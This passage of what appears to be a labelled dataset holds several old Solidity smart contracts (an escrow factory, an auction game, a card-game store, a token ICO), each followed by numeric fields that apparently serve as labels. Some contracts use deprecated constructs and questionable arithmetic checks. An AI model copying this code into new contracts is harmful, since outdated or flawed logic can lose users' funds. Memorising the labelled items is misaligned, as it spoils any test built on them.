if(msg.value > _targetAmount){
msg.sender.transfer(msg.value - _targetAmount);
}
}
address dede = (new DeDeContract).value(_targetAddress == 0 ? _targetAmount : 0)(_targetAddress, _targetAmount);
isDeDeContract[dede] = true;
validationTime[dede] = _validationTime;
dip[dede] = msg.sender;
scs[dede] = msg.sender;
issuer[dede] = _issuer;
targetAddress[dede] = _targetAddress;
bulletAddress[dede] = _bulletAddress;
targetAmount[dede] = _targetAmount;
bulletAmount[dede] = _bulletAmount;
if(_targetAddress != 0){
assert(ERC20Interface(_targetAddress).transferFrom(msg.sender, dede, _targetAmount));
}
Issue(msg.sender, msg.sender, _issuer, dede);
}
function activate(address dede) payable {
var _dede = DeDeContract(dede);
require(isDeDeContract[dede]);
require(msg.sender == scs[dede]);
require(now >= validationTime[dede] && now < validationTime[dede] + 1 days);
isDeDeContract[dede] = false;
Activate(dip[dede], scs[dede], issuer[dede], dede);
if(bulletAddress[dede] == 0){
require(msg.value >= bulletAmount[dede]);
if(msg.value > bulletAmount[dede]){
msg.sender.transfer(msg.value - bulletAmount[dede]);
}
}
else{
assert(ERC20Interface(bulletAddress[dede]).transferFrom(scs[dede], dip[dede], bulletAmount[dede]));
}
if(targetAddress[dede] != 0){
assert(ERC20Interface(targetAddress[dede]).transferFrom(dede, scs[dede], targetAmount[dede]));
}
_dede.activate.value(bulletAddress[dede] == 0 ? bulletAmount[dede] : 0)(bulletAddress[dede] == 0 ? dip[dede] : scs[dede]);
}
function nullify(address dede){
var _dede = DeDeContract(dede);
require(isDeDeContract[dede]);
require(now >= (validationTime[dede] + 1 days) && (msg.sender == dip[dede] || msg.sender == scs[dede]));
isDeDeContract[dede] = false;
Nullify(dip[dede], scs[dede], issuer[dede], dede);
if(targetAddress[dede] != 0){
assert(ERC20Interface(targetAddress[dede]).transferFrom(dede, dip[dede], targetAmount[dede]));
}
_dede.nullify(dip[dede]);
}
function transfer(address receiver, address dede){
require(isDeDeContract[dede]);
require(msg.sender == scs[dede]);
Transfer(scs[dede], receiver, issuer[dede], dede);
scs[dede] = receiver;
}
}
contract DeDeContract {
address public masterContract;
function DeDeContract(address targetAddress, uint256 targetAmount) payable {
masterContract = msg.sender;
if(targetAddress != 0){
assert(ERC20Interface(targetAddress).approve(msg.sender, targetAmount));
}
}
function activate(address destination) payable {
require(msg.sender == masterContract);
suicide(destination);
}
function nullify(address destination) {
require(msg.sender == masterContract);
suicide(destination);
}
} | 0 | 148 |
pragma solidity ^0.4.20;
contract EthAnte {
uint public timeOut;
uint public kBalance;
uint public feeRate;
address public TechnicalRise = 0x7c0Bf55bAb08B4C1eBac3FC115C394a739c62538;
address public lastBidder;
function EthAnte() public payable {
lastBidder = msg.sender;
kBalance = msg.value;
timeOut = now + 10 minutes;
feeRate = 10;
}
function fund() public payable {
uint _fee = msg.value / feeRate;
uint _val = msg.value - _fee;
kBalance += _val;
TechnicalRise.transfer(_fee);
if(_val < 9 finney) {
timeOut += 2 minutes;
return;
}
if (timeOut <= now) {
lastBidder.transfer(kBalance - _val);
kBalance = _val;
timeOut = now;
}
timeOut += (10 minutes) * (9 finney) / _val;
lastBidder = msg.sender;
}
function () public payable {
fund();
}
} | 0 | 28 |
pragma solidity ^0.4.21;
library Maths {
function plus(
uint256 addendA,
uint256 addendB
) public pure returns (uint256 sum) {
sum = addendA + addendB;
assert(sum - addendB == addendA);
return sum;
}
function minus(
uint256 minuend,
uint256 subtrahend
) public pure returns (uint256 difference) {
assert(minuend >= subtrahend);
difference = minuend - subtrahend;
return difference;
}
function mul(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
if (factorA == 0 || factorB == 0) return 0;
product = factorA * factorB;
assert(product / factorA == factorB);
return product;
}
function times(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
return mul(factorA, factorB);
}
function div(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
quotient = dividend / divisor;
assert(quotient * divisor == dividend);
return quotient;
}
function dividedBy(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
return div(dividend, divisor);
}
function divideSafely(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient, uint256 remainder) {
quotient = div(dividend, divisor);
remainder = dividend % divisor;
}
function min(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a <= b ? a : b;
return result;
}
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
return result;
}
function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a < b;
return isTrue;
}
function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a <= b;
return isTrue;
}
function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a > b;
return isTrue;
}
function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a >= b;
return isTrue;
}
}
contract Manageable {
address public owner;
address public manager;
event OwnershipChanged(address indexed previousOwner, address indexed newOwner);
event ManagementChanged(address indexed previousManager, address indexed newManager);
function Manageable() public {
owner = msg.sender;
manager = msg.sender;
}
modifier onlyManagement() {
require(msg.sender == owner || msg.sender == manager);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipChanged(owner, newOwner);
owner = newOwner;
}
function replaceManager(address newManager) public onlyManagement {
require(newManager != address(0));
ManagementChanged(manager, newManager);
manager = newManager;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
}
contract MythereumERC20Token is ERC20 {
function burn(address burner, uint256 amount) public returns (bool);
function mint(address to, uint256 amount) public returns (bool);
}
contract MythereumCardToken {
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public;
function isEditionAvailable(uint8 _editionNumber) public view returns (bool);
function cloneCard(address _owner, uint256 _tokenId) public returns (bool);
function mintRandomCards(
address _owner,
uint8 _editionNumber,
uint8 _numCards
) public returns (bool);
function improveCard(
uint256 _tokenId,
uint256 _addedDamage,
uint256 _addedShield
) public returns (bool);
function destroyCard(uint256 _tokenId) public returns (bool);
}
contract Mythereum is Manageable {
using Maths for uint256;
struct Edition {
string name;
uint256 sales;
uint256 maxSales;
uint8 packSize;
uint256 packPrice;
uint256 packPriceIncrease;
}
mapping (uint8 => Edition) public editions;
mapping (address => bool) public isVIP;
mapping (address => bool) public isTokenAccepted;
mapping (address => uint256) public tokenCostPerPack;
mapping (uint256 => uint256) public mythexCostPerUpgradeLevel;
mapping (uint256 => uint256) public cardDamageUpgradeLevel;
mapping (uint256 => uint256) public cardShieldUpgradeLevel;
uint256 public maxCardUpgradeLevel = 30;
address public cardTokenAddress;
address public xpTokenAddress;
address public mythexTokenAddress;
address public gameHostAddress;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer);
event CardUpgraded(uint256 cardId, uint256 addedDamage, uint256 addedShield);
modifier onlyHosts() {
require(
msg.sender == owner ||
msg.sender == manager ||
msg.sender == gameHostAddress
);
_;
}
function Mythereum() public {
editions[0] = Edition({
name: "Genesis",
sales: 3999,
maxSales: 5000,
packSize: 7,
packPrice: 100 finney,
packPriceIncrease: 1 finney
});
editions[1] = Edition({
name: "Survivor",
sales: 20,
maxSales: 1000000,
packSize: 10,
packPrice: 0,
packPriceIncrease: 0
});
isVIP[msg.sender] = true;
}
function () public payable {
revert();
}
function buyPack(
uint8 _editionNumber
) public payable {
uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice;
require(msg.value.isAtLeast(packPrice));
if (msg.value.isGreaterThan(packPrice)) {
msg.sender.transfer(msg.value.minus(packPrice));
}
_deliverPack(msg.sender, _editionNumber);
}
function buyPackWithERC20Tokens(
uint8 _editionNumber,
address _tokenAddress
) public {
require(isTokenAccepted[_tokenAddress]);
_processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender);
}
function upgradeCardDamage(uint256 _cardId) public {
require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardDamageUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.burn(msg.sender, costOfUpgrade));
cardDamageUpgradeLevel[_cardId]++;
_improveCard(_cardId, 1, 0);
}
function upgradeCardShield(uint256 _cardId) public {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardShieldUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.burn(msg.sender, costOfUpgrade));
cardShieldUpgradeLevel[_cardId]++;
_improveCard(_cardId, 0, 1);
}
function improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) public onlyManagement {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
_improveCard(_cardId, _addedDamage, _addedShield);
}
function _improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) internal {
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
require(cardToken.improveCard(_cardId, _addedDamage, _addedShield));
CardUpgraded(_cardId, _addedDamage, _addedShield);
}
function receiveApproval(
address _sender,
uint256 _value,
address _tokenContract,
bytes _extraData
) public {
require(isTokenAccepted[_tokenContract]);
uint8 editionNumber = 0;
if (_extraData.length != 0) editionNumber = uint8(_extraData[0]);
_processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender);
}
function _processERC20TokenPackPurchase(
uint8 _editionNumber,
address _tokenAddress,
address _buyer
) internal {
require(isTokenAccepted[_tokenAddress]);
ERC20 tokenContract = ERC20(_tokenAddress);
uint256 costPerPack = tokenCostPerPack[_tokenAddress];
uint256 ourBalanceBefore = tokenContract.balanceOf(address(this));
tokenContract.transferFrom(_buyer, address(this), costPerPack);
uint256 ourBalanceAfter = tokenContract.balanceOf(address(this));
require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack)));
_deliverPack(_buyer, _editionNumber);
}
function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount);
}
function burnXPTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(xpTokenAddress).burn(_burner, _amount);
}
function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount);
}
function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount);
}
function grantPromoPack(
address _recipient,
uint8 _editionNumber
) public onlyManagement {
_deliverPack(_recipient, _editionNumber);
}
function setTokenAcceptanceRate(
address _token,
uint256 _costPerPack
) public onlyManagement {
if (_costPerPack > 0) {
isTokenAccepted[_token] = true;
tokenCostPerPack[_token] = _costPerPack;
} else {
isTokenAccepted[_token] = false;
tokenCostPerPack[_token] = 0;
}
}
function transferERC20Tokens(
address _token,
address _recipient,
uint256 _amount
) public onlyManagement {
require(ERC20(_token).transfer(_recipient, _amount));
}
function addVIP(address _vip) public onlyManagement {
isVIP[_vip] = true;
}
function removeVIP(address _vip) public onlyManagement {
isVIP[_vip] = false;
}
function setEditionName(
uint8 _editionNumber,
string _name
) public onlyManagement {
editions[_editionNumber].name = _name;
}
function setEditionSales(
uint8 _editionNumber,
uint256 _numSales
) public onlyManagement {
editions[_editionNumber].sales = _numSales;
}
function setEditionMaxSales(
uint8 _editionNumber,
uint256 _maxSales
) public onlyManagement {
editions[_editionNumber].maxSales = _maxSales;
}
function setEditionPackPrice(
uint8 _editionNumber,
uint256 _newPrice
) public onlyManagement {
editions[_editionNumber].packPrice = _newPrice;
}
function setEditionPackPriceIncrease(
uint8 _editionNumber,
uint256 _increase
) public onlyManagement {
editions[_editionNumber].packPriceIncrease = _increase;
}
function setEditionPackSize(
uint8 _editionNumber,
uint8 _newSize
) public onlyManagement {
editions[_editionNumber].packSize = _newSize;
}
function setCardUpgradeLevels(
uint256 _cardId,
uint256 _damageUpgradeLevel,
uint256 _shieldUpgradeLevel
) public onlyManagement {
cardDamageUpgradeLevel[_cardId] = _damageUpgradeLevel;
cardShieldUpgradeLevel[_cardId] = _shieldUpgradeLevel;
}
function setCardTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
cardTokenAddress = _addr;
}
function setXPTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
xpTokenAddress = _addr;
}
function setMythexTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
mythexTokenAddress = _addr;
}
function setGameHostAddress(address _addr) public onlyManagement {
require(_addr != address(0));
gameHostAddress = _addr;
}
function claim() public {
_claim(msg.sender);
}
function deposit() public payable {
}
function addShareholder(address _payee, uint256 _shares) public onlyOwner {
require(_payee != address(0));
require(_shares.isAtLeast(1));
require(shares[_payee] == 0);
shares[_payee] = _shares;
totalShares = totalShares.plus(_shares);
}
function removeShareholder(address _payee) public onlyOwner {
require(shares[_payee] != 0);
_claim(_payee);
_forfeitShares(_payee, shares[_payee]);
}
function grantAdditionalShares(
address _payee,
uint256 _shares
) public onlyOwner {
require(shares[_payee] != 0);
require(_shares.isAtLeast(1));
shares[_payee] = shares[_payee].plus(_shares);
totalShares = totalShares.plus(_shares);
}
function forfeitShares(uint256 _numShares) public {
_forfeitShares(msg.sender, _numShares);
}
function transferShares(address _to, uint256 _numShares) public {
require(_numShares.isAtLeast(1));
require(shares[msg.sender].isAtLeast(_numShares));
shares[msg.sender] = shares[msg.sender].minus(_numShares);
shares[_to] = shares[_to].plus(_numShares);
}
function transferEntireStake(address _to) public {
transferShares(_to, shares[msg.sender]);
}
function _claim(address payee) internal {
require(shares[payee].isAtLeast(1));
uint256 totalReceived = address(this).balance.plus(totalReleased);
uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]);
require(payment != 0);
require(address(this).balance.isAtLeast(payment));
released[payee] = released[payee].plus(payment);
totalReleased = totalReleased.plus(payment);
payee.transfer(payment);
}
function _forfeitShares(address payee, uint256 numShares) internal {
require(shares[payee].isAtLeast(numShares));
shares[payee] = shares[payee].minus(numShares);
totalShares = totalShares.minus(numShares);
}
function _deliverPack(address recipient, uint8 editionNumber) internal {
Edition storage edition = editions[editionNumber];
require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize)));
edition.sales = edition.sales.plus(edition.packSize);
edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease);
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
cardToken.mintRandomCards(recipient, editionNumber, edition.packSize);
CardsPurchased(editionNumber, edition.packSize, recipient);
}
} | 1 | 3,319 |
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract StdToken is SafeMath {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns(bool){
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract MNTP is StdToken {
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * 1 ether;
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier byIcoContract() {
require(msg.sender == icoContractAddress);
_;
}
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
function MNTP() {
creator = msg.sender;
assert(TOTAL_TOKEN_SUPPLY == 10000000 * 1 ether);
}
function transfer(address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byIcoContract {
require((totalSupply + _tokens) <= TOTAL_TOKEN_SUPPLY);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
Transfer(0x0, _who, _tokens);
}
function burnTokens(address _who, uint _tokens) byIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byIcoContract {
lockTransfers = _lock;
}
function() {
revert();
}
}
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyIcoContract() {
require(msg.sender==icoContractAddress);
_;
}
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
function finishIco() public onlyIcoContract {
icoIsFinishedDate = uint64(now);
}
function withdrawTokens() public {
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
require(uint(now) >= oneYearPassed);
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
function() payable {
revert();
}
}
contract FoundersVesting is SafeMath {
address public creator;
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
creator = msg.sender;
}
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
function withdrawTokens() onlyCreator public {
uint64 oneMonth = lastWithdrawTime + 30 days;
require(uint(now) >= oneMonth);
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
require(amountToSend!=0);
uint currentBalance = mntToken.balanceOf(this);
if(currentBalance<amountToSend){
amountToSend = currentBalance;
}
mntToken.transfer(teamAccountAddress,amountToSend);
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
function() payable {
revert();
}
}
contract Goldmint is SafeMath {
address[] public multisigs = [
0xcEc42E247097C276Ad3D7cFd270aDBd562dA5c61,
0x373C46c544662B8C5D55c24Cf4F9a5020163eC2f,
0x672CF829272339A6c8c11b14Acc5F9d07bAFAC7c,
0xce0e1981A19a57aE808a7575a6738e4527fB9118,
0x93Aa76cdb17EeA80e4De983108ef575D8fc8f12b,
0x20ae3329Cd1e35FEfF7115B46218c9D056d430Fd,
0xe9fC1A57a5dC1CaA3DE22A940E9F09e640615f7E,
0xD360433950DE9F6FA0e93C29425845EeD6BFA0d0,
0xF0De97EAff5D6c998c80e07746c81a336e1BBd43,
0xF4Ce80097bf1E584822dBcA84f91D5d7d9df0846
];
mapping(address => uint) ethInvestedBy;
uint collectedWei = 0;
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
uint public usdPerEthCoinmarketcapRate = 300;
uint64 public lastUsdPerEthChangeDate = 0;
uint constant SINGLE_BLOCK_LEN = 700000;
uint public constant BONUS_REWARD = 1000000 * 1 ether;
uint public constant FOUNDERS_REWARD = 2000000 * 1 ether;
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether;
uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether;
uint public constant MAX_ISSUED_FROM_OTHER_CURRENCIES = 3000000 * 1 ether;
uint public constant MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES = 30000 * 1 ether;
uint public issuedFromOtherCurrencies = 0;
address public creator = 0x0;
address public ethRateChanger = 0x0;
address public tokenManager = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
uint public icoTokensSold = 0;
uint public icoTokensUnsold = 0;
uint public issuedExternallyTokens = 0;
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
ICOFinished,
Refunding,
Migrating
}
State public currentState = State.Init;
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyTokenManager() {
require(msg.sender==tokenManager);
_;
}
modifier onlyOtherCurrenciesChecker() {
require(msg.sender==otherCurrenciesChecker);
_;
}
modifier onlyEthSetter() {
require(msg.sender==ethRateChanger);
_;
}
modifier onlyInState(State state){
require(state==currentState);
_;
}
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
function Goldmint(
address _tokenManager,
address _ethRateChanger,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
tokenManager = _tokenManager;
ethRateChanger = _ethRateChanger;
lastUsdPerEthChangeDate = uint64(now);
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
foundersRewardsAccount = _foundersVestingAddress;
assert(multisigs.length==10);
}
function startICO() public onlyCreator onlyInState(State.Init) {
setState(State.ICORunning);
icoStartedTime = uint64(now);
mntToken.lockTransfer(true);
mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD);
}
function pauseICO() public onlyCreator onlyInState(State.ICORunning) {
setState(State.ICOPaused);
}
function resumeICO() public onlyCreator onlyInState(State.ICOPaused) {
setState(State.ICORunning);
}
function startRefunding() public onlyCreator onlyInState(State.ICORunning) {
require(icoTokensSold < ICO_TOKEN_SOFT_CAP);
setState(State.Refunding);
assert(mntToken.lockTransfers());
}
function startMigration() public onlyCreator onlyInState(State.ICOFinished) {
setState(State.Migrating);
mntToken.lockTransfer(true);
}
function finishICO() public onlyInState(State.ICORunning) {
require(msg.sender == creator || isIcoFinished());
setState(State.ICOFinished);
mntToken.lockTransfer(false);
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.finishIco();
}
uint sendThisAmount = (this.balance / 10);
for(uint i=0; i<9; ++i){
address ms = multisigs[i];
if(this.balance>=sendThisAmount){
ms.transfer(sendThisAmount);
}
}
if(0!=this.balance){
address lastMs = multisigs[9];
lastMs.transfer(this.balance);
}
}
function setState(State _s) internal {
currentState = _s;
LogStateSwitch(_s);
}
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
function getTotalCollectedWei()constant public returns (uint){
return collectedWei;
}
function isIcoFinished() constant public returns(bool) {
return (icoStartedTime > 0)
&& (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT));
}
function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){
uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]);
uint mntPerEth = (usdPerEthCoinmarketcapRate * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
require(msg.value!=0);
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether;
issueTokensInternal(_buyer,newTokens);
ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value);
collectedWei = safeAdd(collectedWei, msg.value);
}
function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
require(_weiCount!=0);
uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether;
require(newTokens<=MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES);
require((issuedFromOtherCurrencies + newTokens)<=MAX_ISSUED_FROM_OTHER_CURRENCIES);
issueTokensInternal(_to,newTokens);
issuedFromOtherCurrencies = issuedFromOtherCurrencies + newTokens;
}
function issueTokensExternal(address _to, uint _tokens) public onlyTokenManager {
require((State.ICOFinished==currentState) || (State.ICORunning==currentState));
require((issuedExternallyTokens + _tokens)<=BONUS_REWARD);
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT);
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
function getMyRefund() public onlyInState(State.Refunding) {
address sender = msg.sender;
uint ethValue = ethInvestedBy[sender];
require(ethValue > 0);
ethInvestedBy[sender] = 0;
mntToken.burnTokens(sender, mntToken.balanceOf(sender));
sender.transfer(ethValue);
}
function setUsdPerEthRate(uint _usdPerEthRate) public onlyEthSetter {
require((_usdPerEthRate>=100) && (_usdPerEthRate<=700));
uint64 hoursPassed = lastUsdPerEthChangeDate + 1 hours;
require(uint(now) >= hoursPassed);
usdPerEthCoinmarketcapRate = _usdPerEthRate;
lastUsdPerEthChangeDate = uint64(now);
}
function() payable {
buyTokens(msg.sender);
}
} | 1 | 3,113 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint256 size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) {
